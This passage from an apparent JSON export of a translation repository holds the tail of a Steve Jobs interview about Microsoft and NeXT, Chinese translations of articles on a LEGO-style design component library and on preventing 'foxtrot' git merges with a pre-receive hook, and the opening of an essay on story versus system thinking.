automobiles, they certainly innovated quite a bit there. I can't say the same thing about Microsoft.\n\nAnd I become very concerned, because I see Microsoft competing very fiercely and putting a lot of companies out of business — some deservedly so and others not deservedly so. And I see a lot of innovation leaving this industry. What I believe very strongly is that the industry absolutely needs an alternative to Microsoft. And it needs an alternative to Microsoft in the applications area — which I hope will be Lotus. And we also need an alternative to Microsoft in the systems-software area. And the only hope we have for that, in my opinion, is NeXT.\n\n**Microsoft, of course, is working on their own object-oriented operating system —**  \nThey were working on the Mac for 10 years, too. I'm sure they're working on it\n\nMicrosoft's greatest asset is Windows. Their greatest liability is Windows. Windows is so nonobject-oriented that it's going to be impossible for them to go back and become object-oriented without throwing Windows away, and they can't do that for years. So they're going to try to patch things on top, and it's not going to work.\n\n**You've called Microsoft the IBM of the '90s. What exactly do you mean by that?**  \nThey're the mainstream. And a lot of people who don't want to think about it too much are just going to buy their product. They have a market dominance now that is so great that it's actually hurting the industry. I don't like to get into discussions about whether they accomplished that fairly or not That's for others to decide. I just observe it and say it's not healthy for the country.\n\n**What do you think of the federal antitrust investigation?**  \nI don't have enough data to know. And again, the issue is not whether they accomplished what they did within the rule book or by breaking some of the rules. I'm not qualified to say. But I don't think it matters. I don't think that's the real issue. The real issue is, America is leading the world in software technology right now, and that is such a valuable asset for this country that anything that potentially threatens that leadership needs to be examined. I think the Microsoft monopoly of both sectors of the software industry — both the system and the applications software and the potential third sector that they want to monopolize, which is the consumer set-top-box sector — is going to pose the greatest threat to Americas dominance in the software industry of anything I have ever seen and could ever think of. I personally believe that it would be in the best interest of the country to break Microsoft up into three companies — a systems-software company, an applications-software company and a consumer-software company.\n\n**Hearing you talk like this makes me flash back to the old Apple days, when Apple cast itself in the role of the rebel against the establishment. Except now, instead of IBM, the great evil is Microsoft. And instead of Apple that will save us, it's NeXT. Do you see parallels here, too?**  \nYeah, I do. Forget about me. That's not important. What's important is, I see tremendous parallels between the solidity and dominance that IBM had and the shackles that that was imposing on our industry and what Microsoft is doing today.... I think we came closer than we think to losing some of our computer industry in the late '70s and early '80s, and I think the gradual dissolution of IBM has been the healthiest thing that's happened in this industry in the last 10 years.\n\n**What's your personal relationship with Bill Gates like?**  \nI think Bill Gates is a good guy. We're not best friends, but we talk maybe once a month.\n\n**A lot has been made of the rivalry between you two. The two golden boys of the computer revolution —**  \nI think Bill and I have very different value systems. I like Bill very much, and I certainly admire his accomplishments, but the companies we built were very different from each other.\n\n**A lot of people believe that given the stranglehold Microsoft has on the software business, in the long run, the best NeXT can hope for is that it will be a niche product.**  \nApple's a niche product, the Mac was a niche product And yet look at what it did. Apple's, what, a $9 billion company. It was $2 billion when I left They're doing OK. Would I be happy if we had a 10 percent market share of the system-software business? I'd be happy now. I'd be very happy. Then I'd go work like crazy to get 20.\n\n**You mentioned the Apple earlier. When you look at the company you founded now, what do you think?**  \nI don't want to talk about Apple.\n\n* * *\n\n**What about the PowerPC?**  \nIt works fine. It's a Pentium. The PowerPC and the Pentium are equivalent, plus or minus 10 or 20 percent, depending on which day you measure them. They're the same thing. So Apple has a Pentium. That's good. Is it three or four or five times better? No. Will it ever be? No. But it beats being behind. Which was where the Motorola 68000 architecture was unfortunately being relegated. It keeps them at least equal, but it's not a compelling advantage.\n\n**You can't open the paper these days without reading about the Internet and the information superhighway. Where is this all going?**  \nThe Internet is nothing new. It has been happening for 10 years. Finally, now, the wave is cresting on the general computer user. And I love it. I think the den is far more interesting than the living room. Putting the Internet into people's houses is going to be really what the information superhighway is all about, not digital convergence in the set-top box. All that's going to do is put the video rental stores out of business and save me a trip to rent my movie. I'm not very excited about that. I'm not excited about home shopping. I'm very excited about having the Internet in my den.\n\n**Phone companies, cable companies and Hollywood are jumping all over each other trying to get a piece of the action. Who do you think will be the winners and losers, say, five years down the road?**  \nI've talked to some of these guys in the phone and cable business, and believe me, they have no idea what they're doing here. And the people who are talking the loudest know the least\n\n**Who are you referring to –John Malone?**  \nI don't want to name names. Let me just say that, in general, they have no idea how difficult this is going to be and how long it is going to take. None of these guys understands computer science. They don't understand that that's a little computer that they're going to have in the set-top box, and in order to run that computer, they're going to have to come up with some very sophisticated software.\n\n**Let's talk more about the Internet. Every month, it's growing by leaps and bounds. How is this new communications web going to affect the way we live in the future?**  \nI don't think it's too good to talk about these kinds of things. You can open up any book and hear all about this kind of garbage.\n\n**I'm interested in bearing your ideas.**  \nI don't think of the world that way. I'm a tool builder. That's how I think of myself. I want to build really good tools that I know in my gut and my heart will be valuable. And then whatever happens is... you can't really predict exactly what will happen, but you can feel the direction that we're going. And that's about as close as you can get. Then you just stand back and get out of the way, and these things take on a life of their own.\n\n**Nevertheless, you've often talked about how technology can empower people, how it can change their lives. Do you still have as much faith in technology today as you did when you started out 20 years ago?**  \nOh, sure. It's not a faith in technology. It's faith in people.\n\n**Explain that.**  \nTechnology is nothing. What's important is that you have a faith in people, that they're basically good and smart, and if you give them tools, they'll do wonderful things with them. It's not the tools that you have faith in — tools are just tools. They work, or they don't work. It's people you have faith in or not. Yeah, sure, I'm still optimistic I mean, I get pessimistic sometimes but not for long.\n\n**It's been 10 years since the PC revolution started. Rational people can debate about whether technology has made the world a better place –**  \nThe world's clearly a better place. Individuals can now do things that only large groups of people with lots of money could do before. What that means is, we have much more opportunity for people to get to the marketplace — not just the marketplace of commerce but the marketplace of ideas. The marketplace of publications, the marketplace of public policy. You name it. We've given individuals and small groups equally powerful tools to what the largest, most heavily funded organizations in the world have. And that trend is going to continue. You can buy for under $10,000 today a computer that is just as powerful, basically, as one anyone in the world can get their hands on.\n\nThe second thing that we've done is the communications side of it. By creating this electronic web, we have flattened out again the difference between the lone voice and the very large organized voice. We have allowed people who are not part of an organization to communicate and pool their interests and thoughts and energies together and start to act as if they were a virtual organization.\n\nSo I think this technology has been extremely rewarding. And I don't think it's anywhere near over.\n\n**When you were talking about Bill Gates, you said that the goal is not to be the richest guy in the cemetery. What is the goal?**  \nI don't know how to answer you. In the broadest context, the goal is to seek enlightenment — however you define it. But these are private things. I don't want to talk about this kind of stuff.\n\n**Why?**  \nI think, especially when one is somewhat in the public eye, it's very important to keep a private life.\n\n**Are you uncomfortable with your status as a celebrity in Silicon Valley?**  \nI think of it as my well-known twin brother. It's not me. Because otherwise, you go crazy. You read some negative article some idiot writes about you — you just can't take it too personally. But then that teaches you not to take the really great ones too personally either. People like symbols, and they write about symbols.\n\n**I talked to some of the original Mac designers the other day, and they mentioned the 10-year-annniversary celebration of the Mac a few months ago. You didn't want to participate in that. Has it been a burden, the pressure to repeat the phenomenal success of the Mac? Some people have compared you to Orson Welles, who at 25 did his best work, and it's all downhill from there.**  \nI'm very flattered by that, actually. I wonder what game show I'm going to be on. Guess I'm going to have to start eating a lot of pie. [Laughs.] I don't know. The Macintosh was sort of like this wonderful romance in your life that you once had — and that produced about 10 million children. In a way it will never be over in your life. You'll still smell that romance every morning when you get up. And when you open the window, the cool air will hit your face, and you'll smell that romance in the air. And you'll see your children around, and you feel good about it. And nothing will ever make you feel bad about it.\n\nBut now, your life has moved on. You get up every morning, and you might remember that romance, but then the whole day is in front of you to do something wonderful with.\n\nBut I also think that what we're now may turn out in the end to be more profound. Because the Macintosh was the agent of change to bring computers to the rest of us with its graphical-user interface. That was very important. But now the industry is up against a really big closed door. Objects are going to unlock that door. On the other side is a world so rich from this well of software that will spring up that the true promise of many of the things we started, even with the Apple II, will finally start to be realized.\n\nAfter that ... who knows? Maybe there's another locked door behind this door, too; I don't know. But someone else is going to have to figure out how to unlock that one."
  },
  {
    "path": "TODO/stop-designing-interfaces-start-designing-experiences.md",
    "content": "> * 原文地址：[Stop designing interfaces, Start designing experiences](https://medium.com/blablacar-design/stop-designing-interfaces-start-designing-experiences-d82def0b802c#.tm2nitn97)\n* 原文作者：[DUVAL Nicolas](https://medium.com/@nicolaseek?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Kulbear](https://kulbear.github.com/)\n* 校对者：[owenlyn](https://github.com/owenlyn), [bobmayuze(Yuze Ma)](https://github.com/bobmayuze)\n\n# 别再设计你的应用界面了，在用户体验上下点功夫吧\n\n> 这篇文章是我们新发布的界面指南的一部分\n\n#### 混乱的过程往往导致混乱的结果\n\n八个月前，在一个机构工作一段时间后，我终于决定给自己一个新的挑战。现在可以很自豪地说，我加入 BlaBlaCar 的设计团队。\n\n在刚到这家公司的前几周时，我是真的对他们的工作方式有些无语。 他们的工具仅仅是一个空空的 Sketch 文件，一块儿白板和两部用来给应用做测试截屏的手机。\n\n![](https://cdn-images-1.medium.com/max/800/1*o4z8igVxDHWdYsH2gyxytg.png)\n\nBlaBlaCar 的设计师们所使用的工具: 一个空的 Sketch 文件和两部测试机。\n\n他们通过直接向 Sketch 里导入截屏的方式来设计一个页面或流程——裁剪截图，直接在截图上编辑，遮盖或是创建一些新的元素，也有时候从之前完成的文件中拿点儿什么之前完成的组件...从始至终都能听到他们的自言自语，比如，“边距多少是合适的？”，“这个按钮要设计成什么尺寸？”，“哪个颜色最好看？”等等。 我发现，我自己为了避免重新创建一些已经有了的组件，总是在问我的同事诸如去哪个文件里找到我需要的按钮或者导航栏这样的问题...\n\n![](https://cdn-images-1.medium.com/max/800/1*oBE_ubLfATsMbN2F7mNaAg.png)\n\n\n这分别是同一个私人资料界面在 Android, iOS, MWeb 和 Web 上的样式。为什么要差的这么多呢？\n\n#### 从杂乱无章到井然有序\n\n我总会记得问自己：“他们是如何管理这么多不同平台，不同逻辑甚至不同设计的同一个界面的呢？”其实答案很简单：**他们根本没有花心思管理这件事儿。**。\n\n这种工作方式可能仅仅适用于两三人的团队。其实，我们都知道这样的工作方式对于维持一个快速扩张的团队是非常有挑战性的。我们都认为应该将工作重心放到用户体验上而不是继续在界面设计上浪费时间。\n\n我们决定用一个简单的方法来解决这个问题：\n\n![](https://cdn-images-1.medium.com/max/800/1*l9TGf5aMciH_R_0QXq_0rA.jpeg)\n\n\n采用乐高的设计模式，将我们用户界面的组件模块化。\n\nLEGOS! 你也许已经听说过仿照乐高风格的设计。是的，给我一箱乐高的砖块，我就能做出所有东西！\n\n\n![](https://cdn-images-1.medium.com/max/800/1*rOkcMUYTg-GuqdKf1UrEeQ.jpeg)\n\n一架水上飞机, 一辆肌肉车（译者注：常见于北美的一种车型，国人最熟悉的应该是大黄蜂）甚至一条恐龙。\n\n所以我们建立了一个”乐高砖块“风格的组件库，这样我们的设计师就可以用一样的素材了！那么来看看我们的“乐高砖块”（译者注：这里作者想要表达的是可复用等方面的乐高模式，而并不是模仿乐高外观上的设计）\n\n![](https://cdn-images-1.medium.com/max/800/1*8zglU_HkFzdWwV7wO2M45Q.png)\n\n这是一些 BlaBlaCar 设计师使用的用户界面组件的样本\n\n![](https://cdn-images-1.medium.com/max/1200/1*9spx7jXBRpSrHquOVdnP7A.png)\n\n他们可以很快完成一个页面或流程的设计，并加速迭代和测试的过程。\n\n#### 这到底帮我们节省了多少时间？\n\n你也许好奇我们通过这种方法究竟能省下多少时间。我们其实也好奇这点，于是就做了一个样本测试。我们删掉个人资料的页面，然后让我们的设计师分成两组重新设计它，一组用我们的“乐高组件库”，另一组不用。\n\n![](https://cdn-images-1.medium.com/max/1200/1*rkFKD6Y69_YqG3NqCEJmEA.png)\n\n这是被重新设计的界面。\n\n我们对他们的设计过程计时了，结果是肯定的: 在不使用我们的“乐高库”的时候他们要花费 24 分钟去完成它，而使用的话就只需要 13 分钟了！我不是想表达我们有多专注于高效，这不是重点，重点是我们的设计师现在可以**少在样式设计上花费 50% 的时间，而在用户体验上多花费这 50% 的时间**，这正是我们期待的结果。\n\n#### 不再有重复的工作\n\n在 BlaBlaCar，我们从未如此满足于此，我们相信通过不断的迭代改善这些界面库，我们可以省下更多的时间。\n\n尝到甜头之后，我们试图继续找出一些重复性又消耗了大量时间的任务。在不断的探索下，我们发现了一个巨大的问题，也是每个设计师每天都会遇到的问题，那就是多平台处理。\n\n![](https://cdn-images-1.medium.com/max/800/1*WlvXE-kPz2foWIVHfGbzPQ.png)\n\n一个组件 = 多个平台\n\n所有人都知道，先给 iOS 设计一个界面以后还要再重新给 Android 和移动端网页设计同样界面是多么烦人的一件事。我们致力于建立一个组件库，使我们能够在每个平台上使用同样的组件的同时保持兼容性。现在我们的设计师只需要设计一个平台的就够了，因为他知道兼容性完全没有问题。比如，一个前端开发者可以用 iOS 或是 Android 的设计去设计一个同样的移动端网页。\n\n#### 找寻捷径\n\n我们通过这样的管理使设计师们省去了 50% 用于设计界面的时间，也让他们不再需要设计多个平台的界面。不过我们还不满足，我们想要节省更多的时间。现在我们在 BlaBlaCar 所使用的流程如下所示：\n\n**设计略图 → 设计框架 → 设计原型 → 最终设计 → 投入开发**\n\n你应该已经明白了，我们并不想让设计师花费时间在这么几个像素点上! 所以接下来我们要做的就是让我们的设计师直接从设计略图这一步跳到开发这一步。\n\n![](https://cdn-images-1.medium.com/max/800/1*EbgfUlo0iolc4tfllCTruA.png)\n\n我们很自信，通过我们的组件库，设计师将一个设计略图交给开发人员以后，开发人员可以轻松的开发出一个完全符合略图的生产版本。\n\n![](https://cdn-images-1.medium.com/max/800/1*fxjoQN3wIGeFIuKOfyUfYg.png)\n\n> 我们不希望让设计师再花费任何时间在设计样式上了，他们需要专注于用户体验\n\n#### 我们遵循的准则\n\n我们从 Brad Frost 提出的 [Atomic Design](http://bradfrost.com/blog/post/atomic-web-design/) 的方法中获得了灵感。Brad Frost 是被化学所启发的——复杂的有机物由分子组成，而分子又是由原子组成的。如果你还不了解这个方法，我推荐你去读一读他的博客。[点这里](http://bradfrost.com/blog/post/atomic-web-design/)\n\n我们把这个方法完美紧密的套用在了前面提及的乐高砖块模式上，这帮助我们有效的沟通。大家都可以很快的理解并交流我们的意见。公司里任意一个领域的人都无需我们的讲解就能很容易的分享自己的见解。\n\n在实行了这个设计模式几个月后，我总结了一些关于如何使用它的重要准则。这不是什么激动人心的科学成果，不过它确实可以让我们少走些弯路：\n\n- **比喻**： 一定要找到一个有力的比喻，来使别人毫不费力的理解你的观点（甚至你无需解释）。 我们选择了乐高，但你也可以选择一些别的 (化学，福特主义，生态学等等)\n- **沟通**：这是使你的项目不致失败的最重要的一点。 尽可能早的和公司里所有的人沟通好：开发人员, 产品经理, 数据工程师, 设计师, 甚至首席执行官——让他们参与其中。\n- **共同的语言**： 没名字的东西是不存在的。确保每个人都知道（并习惯）你在组件上使用的词汇。你不需要太专业，只要确保每个人用同样的方法去叫它就可以了。\n- **准则**： 对于选用每一个界面组件都要有准则。如果你不能很好的解释为什么要使用一个组件，那就规定要使用他。 (我会在另一篇文章里谈论这点)\n- **没有例外**：任何例外都很容易让你们不在保持一致性。即使成品看起来很奇怪，在一开始也要遵守那些准则和组件的设计，千万别搞例外。例外情况往往在你严格遵守准则后都能不攻自破。\n\n我并不是想说我们的方法就一定是正确的。我可能更倾向于说我们的方法更适用于我们的产品视觉设计，而不一定适用于所有公司。我见过许多感兴趣设计系统的人，我很乐于跟他们讨论，获取他们的反馈，和他们辩论，当然也包括你。不久的将来我会继续写一些文章来更精细的描述我们是如何创建现有的这套系统的，在这期间，如果你想了解更多，请联系我。\n"
  },
  {
    "path": "TODO/stop-foxtrots-now.md",
    "content": "\n> * 原文地址：[Protect our Git Repos, Stop Foxtrots Now!](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/)\n> * 原文作者：[Sylvie Davies](https://developer.atlassian.com/blog/authors/sdavies)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/stop-foxtrots-now.md](https://github.com/xitu/gold-miner/blob/master/TODO/stop-foxtrots-now.md)\n> * 译者：[LeviDing](https://github.com/leviding)\n> * 校对者：[薛定谔的猫](https://github.com/Aladdin-ADD)、[luisliuchao](https://github.com/luisliuchao)\n\n# 保护我们的 Git Repos，立刻停止“狐步舞”\n\n![狐步舞舞者](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/01-dance.jpg)\n\n舞者们正准备跳狐步舞。\n\n### 首先，什么是“狐步舞”式的合并？\n\n“狐步舞”式的合并是 `git commit` 的一个特别不好的具体顺序。如同在户外看到的“狐步舞”，这种 commits 序列像这个样子：\n\n![“狐步舞”式的合并](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/02-foxtrot.png)\n\n但在公开场合很少会见到“狐步舞”。它们隐藏在树冠之间，树枝之间。我称它们“狐步舞”式，是因为他们交叉的样子，他们看起来像同步舞蹈的舞步顺序：\n\n![狐步示意图](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/foxtrot-redrawn.png)\n\n还有一些人也提到“狐步舞”式的合并，但它们从来没有直接说出它的名字。例如，Junio C. Hamano 的博客有[有趣的 `--first-parent`](http://git-blame.blogspot.ca/2012/03/fun-with-first-parent.html)，还有[有趣的非快进方式（Non-Fast-Forward）](http://git-blame.blogspot.ca/2015/03/fun-with-non-fast-forward.html)。David Lowe 的 nestoria.com 有关于[保持一致的线性历史记录](http://devblog.nestoria.com/post/98892582763/maintaining-a-consistent-linear-history-for-git)的文章。此外还有[一](http://longair.net/blog/2009/04/16/git-fetch-and-merge/)[大](http://kernowsoul.com/blog/2012/06/20/4-ways-to-avoid-merge-commits-in-git/)[堆](https://randyfay.com/content/simpler-rebasing-avoiding-unintentional-merge-commits)[人](https://adamcod.es/2014/12/10/git-pull-correct-workflow.html)告诉你要避免使用 `git pull`，而是使用 `git pull –rebase`。为什么？主要是为了避免一般的合并和提交时的错误，此外还可以避免出现该死的“狐步舞”式的提交。\n\n“狐步舞”式的合并真的很不好吗？是的。\n\n![水母](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/04-jelly.jpg)\n\n它们显然不如僧帽水母那样糟糕。但是“狐步舞”式的合并也是不好的，你不希望你的 git 仓库里有它们的身影。\n\n### “狐步舞”式的合并为什么不好？\n\n“狐步舞”式的合并不好，因为它会改变 `origin/master` 分支的“第一父级”的地位。\n\n合并提交记录的父级是有序的。第一个父级是 `HEAD`。第二个父级是用 `git merge` 命令提交的。\n\n你可以像下面这样想：\n\n```bash\ngit checkout 1st-parent\ngit merge 2nd-parent\n```\n\n如果你是 [octopus 的说客](http://marc.info/?l=linux-kernel&amp;m=139033182525831):\n\n```bash\ngit merge 2nd-parent 3rd-parent 4th-parent ... 8th-parent etc...\n```\n\n这意味着父级的记录就像它听起来一样。当你提交新的代码的时候，忽略第一个父级以外的父级，从而得到一个新的代码记录。对于常规的 `commit`（非 `merge`），第一个父级是唯一的父级，并且对于 `merge` 来说，它是你在输入 `git merge` 时所产生的记录。这种父级概念是直接植入到 Git 里的，并且在很多命令行中都有所体现，例如，`git log –-first-parent`。\n\n“狐步舞”式的合并问题在于，它使得 *origin/master* 由第一父级变成了第二父级。\n\n除了 Git 在评估提交是否有资格进行 `fast-forward` 时，Git 并不关心父级的先后次序。\n\n当然你很不希望这样。你不希望“狐步舞”式的合并通过 `fast-forward` 的方式更新你的 *origin/master*，使得 *origin/master* 第一父级的地位不稳定。\n\n看一下当“狐步舞”式的合并被 `push` 上去的时候会发生什么：\n\n![“狐步舞”式的合并被 `push`](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/05-foxtrot-pushed.png)\n\n可以使用手指从 *origin/master* 开始沿着图形往下，在每个分叉的地方选择左边的分支，从而知道当前的第一父级的变更历史。\n\n问题是，最初的第一个父级提交次序（从 *origin/master* 开始）是这样的：\n\nB, A.\n\n但是当“狐步舞”式的合并被 `push` 之后，父级的次序变成这样了：\n\nD, C, A.\n\n这时，B 节点已从 *origin/master* 第一父级中消失，事实上，B在它的第二父级上。当然，不会有任何资料的丢失，并且 B 节点仍然是 *origin/master* 的一部分。\n\n但是，这样父级节点就会有错综复杂的关系。你是否知道，`tilda` 符号（例如 `~N`）指定从第 N 个提交的节点到第一个父节点间的路径？\n\n你有没有想要看看你的分支上的每个提交记录之间的差异，但是使用 `git log -p` 显然会漏掉一些信息，使用 `git log -p -m` 能获取更多的信息吗？\n\n尝试使用 `git log -p -m –first-parent` 吧。\n\n你想过要还原一个合并的分支吗？那你需要为 `git revert` 提供 `-m parent-number` 选项，这时候你就很不希望自己提供的 `parent-number` 是错的。\n\n和我一起工作的人，大多数都将第一个父级作为真正的 `master` 分支。有意识或无意识地，人们将 `git log –first-parent origin/master` 视为重要事物的顺序。 至于任何其他合并进来的分支？嗯，你应该知道他们会怎么说：\n\n![topic](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/06-what-happens-in-topic.jpg)\n\n但是“狐步舞”式的合并把这些都混在了一起。请考虑下面的例子，其中 *origin/master* 分支的一系列的重要提交信息，与你自己的稍微不那么重要的提交并行：\n\n![topic escaped](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/07a-topic-branch-escape.png)\n\n现在，你终于准备把你的工作并入到 `master` 中。你输入 `git pull`，或者可能你在一个主题分支上使用 `git merge master` 命令。那这样发生了什么？一个“狐步舞”式的合并就这么出现了。\n\n![topic escaped b](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/07b-topic-branch-escape.png)\n\n一切都没有什么大问题，除了当你键入 `git push`，让你的远程仓库接受它时，你的历史记录看起来像这样：\n\n![topic escaped c](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/07c-topic-branch-escape.png)\n\n![topic escaped lego](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/08-lego-topic-branch-escaped.jpg)\n\n### 对于已经混入了“狐步舞”式的合并的 git 项目应该怎么做？\n\n啥招都没有，随它们去吧。除非你重写 master 分支的历史而惹怒其他人，那么就去这么疯吧。\n\n事实上，[不要这样做。](https://www.atlassian.com/git/tutorials/merging-vs-rebasing/the-golden-rule-of-rebasing/)\n\n### 如何防止未来“狐步舞”式的合并出现在我的 git 项目中？\n\n这有几个方法。我最喜欢的方式是下面的四步：\n\n1. 为你的团队安装 Atlassian Bitbucket 服务器。\n\n2. 安装我为 Bitbucket 服务器写的插件，名字叫“Bit Booster Commit Graph and More”。\n你可以在下面的链接中找到他们：[https://marketplace.atlassian.com/plugins/com.bit-booster.bb](https://marketplace.atlassian.com/plugins/com.bit-booster.bb)[https://marketplace.atlassian.com/plugins/com.bit-booster.bb](https://marketplace.atlassian.com/plugins/com.bit-booster.bb)\n\n3. 在你所有项目中，都点击 “Protect First Parent Hook” 上的 “Enabled” 按钮，也就是“启用”按钮：\n\n![hook enabled](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/09-hook-enabled.png)\n\n4. 你可以在试用许可结束前免费使用31天。（感觉它好用的话，可以在试用期后进行购买）。\n\n这是我最喜欢的方式，因为它杜绝了“狐步舞”的出现。每当有一个“狐步舞”式的合并被阻挡时，它会打印一只牛：\n\n``` bash\n$ git commit -m 'my commit'\n$ git pull\n$ git push\n\nremote:  _____________________________________________\nremote: /                                             \\\nremote: | Moo! Your bit-booster license has expired!  |\nremote: \\                                             /\nremote:  ---------------------------------------------\nremote:         \\   ^__^\nremote:          \\  (oo)\\_______\nremote:             (__)\\       )\\/\\\nremote:                 ||----w |\nremote:                 ||     ||\nremote:\nremote: *** PUSH REJECTED BY Protect-First-Parent HOOK ***\nremote:\nremote: Merge [da75830d94f5] is not allowed. *Current* master\nremote: must appear in the 'first-parent' position of the\nremote: subsequent commit.\n```\n\n还有其他的方法。你可以禁止直接向 *master* 分支进行推送，并保证不在 `fast-forward` 的情况下合并 `pull-requests`。或者培训你的员工使用 `git pull –rebase` 命令，并且永远不要使用 `git merge master`。并且一旦你培训完你的员工，就不要再招聘其他员工了。\n\n如果你可以直接访问远程仓库，则可以设置 `pre-receive hook`。 以下的 `bash` 脚本可以帮助你开始这项设置：\n\n```bash\n#/bin/bash\n\n# Copyright (c) 2016 G. Sylvie Davies. http://bit-booster.com/\n# Copyright (c) 2016 torek. http://stackoverflow.com/users/1256452/torek\n# License: MIT license. https://opensource.org/licenses/MIT\nwhile read oldrev newrev refname\ndo\nif [ \"$refname\" = \"refs/heads/master\" ]; then\n   MATCH=`git log --first-parent --pretty='%H %P' $oldrev..$newrev |\n     grep $oldrev |\n     awk '{ print \\$2 }'`\n\n   if [ \"$oldrev\" = \"$MATCH\" ]; then\n     exit 0\n   else\n     echo \"*** PUSH REJECTED! FOXTROT MERGE BLOCKED!!! ***\"\n     exit 1\n   fi\nfi\ndone\n```\n\n### 我不小心创建了一个“狐步舞”式的合并，但我还没有 `push` 上去。我该怎么解决？\n\n假设你安装了预先接收的钩子，并且阻止你“狐步舞”式的合并。你下一步做什么？你有三种可能的补救办法：\n\n1. 普通的 `rebase`：\n\n![使用 `rebase` 进行补救](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/10-remedy-rebase.png)\n\n2. 撤销你之前的合并，使你的 *origin/master* 分支成为第一父级：\n\n![撤销 merge](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/11-remedy-reverse-merge.png)\n\n3. 在“狐步舞”式的合并后创建第二个合并并提交，以恢复 *origin/master* 的第一父级的地位。\n\n![补救](https://developer.atlassian.com/blog/2016/04/stop-foxtrots-now/12-remedy-man-o-war.png)\n\n但请不要使用上面的第三种方法，因为最后的结果被称为“僧帽水母”式的合并，这种合并甚至比“狐步舞”式的合并更糟糕。\n\n### 总结\n\n在最后，其实“狐步舞”式的合并也像其他的合并那样。两个（或多个）提交到一起融合成一个新的记录节点。就你的代码库而言，没有任何区别。无论 commit A 合并到 commit B 中还是反过来 commit B 合并到 commit A，从代码的角度来看最终结果是相同的。\n\n但是，当涉及到你的仓库的历史记录时，以及有效地使用 git 工具集时，“狐步舞”式的合并会有一定的破坏性。通过设置相应的策略来防止其出现，可以使你仓库的历史记录更加清晰明了，并减少了需要记住的 git 命令选项的范围。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/story-thought-and-system-thought.md",
    "content": "> * 原文地址：[Story Thought and System Thought](https://medium.com/quora-design/story-thought-and-system-thought-188dce7a87e6#.lriaw6doa)\n* 原文作者：[Mills Baker](https://medium.com/@millsbaker?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：\n* 校对者：\n\n# Story Thought and System Thought #\n\nMany disputes — in product development and in life — reflect differences in *how* people think as much as in *what* they think about a particular issue. We can’t always persuade one another simply by expressing our positions, introducing information, and counting “pros” and “cons.” Instead, our disagreements often start upstream, so to speak, as we and others diverge in which modes of thinking we consider legitimate. [1]\n\nFrameworks for understanding these modes can help us to translate between them, and one I’ve found useful was described to me by [David Cole](https://www.quora.com/profile/David-Cole) , who encountered it in a post by [Katja Grace](https://meteuphoric.wordpress.com/2010/04/23/systems-and-stories/). This is the **“story thought” vs. “system thought”** framework. [2]\n\nFor designers working with engineers, PMs, and others, I think it’s often very valuable.\n\n#### A story or a system ####\n\nStory thought and system thought as modes have the following properties:\n\n- **Story thought** emphasizes subjective human experience, the primacy of individual actors, narrative and social ordering, messiness, edge cases, content, and above all *meaning.*\n\n- **System thought** emphasizes 3rd-person descriptions of phenomena from a neutral perspective, the interchangeability of actors and details, categorical or logical ordering, measurements, flow, form, and above all *coherence*.\n\nSome examples may be useful; when we think of any of these topics, we can usually imagine both the system view and the story view:\n\n**A sign-up wall**\n\n- Think of how frustrating a sign-up wall is for a person encountering it; perhaps imagine how obviously “system-benefitting” such a feature is, and worry that a user will “sense” that and think less of your brand; imagine how uncool it feels to have one, how “anathema to the spirit of the web” etc.\n\n- Look at the data and see that more people sign up with the wall than without; consider the mandatory nature of growth for the success of your product, which you think is good for the world, and how unclear the idea of “brand affinity” is, as well as whether you can (or should) make a short-term penalty / long-term gain tradeoff in this instance\n\n**The minimum wage**\n\n- Picture a hard-working individual who cannot possibly make ends meet on their low wage; imagine them also being a parent, or a student; think of the absence of opportunities for promotion, the stultifying effect of bone-dead low-wage-job exhaustion on their ambitions, or the wealth of their employer; think of other people who don’t work at all and yet are rich, and how individually unfair the world is\n\n- Imagine the systematic effects of raising the minimum wage; consider what evidence we have of the broadest effects of doing so, or how we’d generate evidence if no good evidence exists; think of the likelihood that every system will have costs, and compare the costs of ours to others, or the lives of minimum wage-earners today to people in the past; consider whether it’s relevant that some are rich; think of the best “overall” policy\n\n**Love**\n\n- Do you “love” your partner, or family or children? Does your love reflect who they are, who you are? Is it special, worth self-sacrifice? Is it unique or personal or beautiful, something worth celebrating with rituals, parties, tokens? Is it *meaningful?*\n\n- Is it human nature to seek what’s rewarded by our neurotransmitters, usually higher-order actions which flush those chemicals because they’re evolutionarily rewarding, making your love as meaningful as your metabolism, as unique as a bowel movement? Is it perhaps “a good feeling” but not especially meaningful?\n\nIn all these cases, we should realize, both approaches have merit. They vary in how they address certain questions: how much does an individual’s perception matter, as opposed to objective fact? What kinds of things constitute evidence? Are analogies useful or distracting? Is everything measurable, or at least measurable by proxy? Is what’s immeasurable non-existent, or might you take it into account, and how might you? Our answers to these questions vary depending on the subject we’re considering. This is especially true when we’re thinking about areas we don’t know enough about yet to have complete theoretical systems. We’re *all* systems thinkers about physics; but we’re almost all story thinkers about love, at least at the level of action. We may blend modes, but when we marry, we don’t look at our spouse and think: *“Well, you or probably one hundred million others would 